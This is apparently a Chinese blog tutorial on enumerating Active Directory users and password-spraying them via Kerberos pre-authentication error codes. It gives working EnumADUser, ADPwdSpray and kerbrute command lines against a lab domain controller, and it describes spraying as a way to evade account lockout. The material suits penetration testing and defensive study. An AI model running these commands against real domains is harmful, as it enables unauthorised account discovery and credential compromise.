域内用户枚举&密码喷洒

域内用户枚举

正常域用户登录主机,我们可以通过 "net user /domain"来列举出域内的用户。但是当我们用非域用户进行登录时,是不能使用 "net user /domain"这条命令的。或者当主机不在域内但是能与域控通信时,以上两种情况我们可以通过以下方法对域内用户进行枚举。

枚举原理

Kerberos本身是一种基于身份认证的协议,在 Kerberos 协议认证的 第一阶段AS-REQ ,当用户不存在时,返回包提示错误。当用户名存在,密码正确和密码错误时,AS-REP的返回包不一样。所以可以利用这点,对域内进行域用户枚举和密码喷洒攻击。

在AS-REQ阶段客户端向AS发送用户名,AS对用户名进行验证,用户存在和不存在返回的数据包不一样

三种状态的错误代码分别为:

KRB5DC_ERR_PREAUTH_REQUIRED 需要额外的预认证(用户存在)
KRB5DC_ERR_CLIENT_REVOKED 客户端凭证已被吊销(禁用 )
KRB5DC_ERR_C_PRINCIPAL_UNKNOWN 在Kerberos数据库中找不到客户端(不存在)

使用EnumADUser

python2 EnumADUser.py 10.211.55.30 hacker user.txt tcp
python2 EnumADUser.py 10.211.55.30 hacker user.txt udp
#10.211.55.30为域控IP


使用kerbrute

./kerbrute_darwin_amd64 userenum --dc 10.211.55.30 -d hacker user.txt

密码喷洒攻击

在常规的爆破中,我们都是先用很多密码去碰撞一个账号,这样很容易导致账号被锁定。而密码喷洒就是先用一个密码去碰撞很多账号,此方法能有效的避免账号被锁定的问题

获取了域用户后,进行密码喷洒

喷洒原理

在确认用户存在后,客户端又会发送一个AS-REQ请求,如果密码正确,则返回AS-REP。否则返回 KRB5KDC_ERP_PREAUTH_FAILED

使用EnumADUser

python ADPwdSpray.py 10.211.55.30 hacker user.txt clearpassword 1qaz@WSX tcp
python ADPwdSpray.py 10.211.55.30 hacker user.txt clearpassword 1qaz@WSX udp

环境问题没成功

使用kerbrute

./kerbrute_darwin_amd64 passwordspray --dc 10.211.55.30 -d hacker.lab user.txt 1qaz@WSX

posted @ 2022-08-12 16:00  九天揽月丶  阅读(325)  评论(0编辑  收藏  举报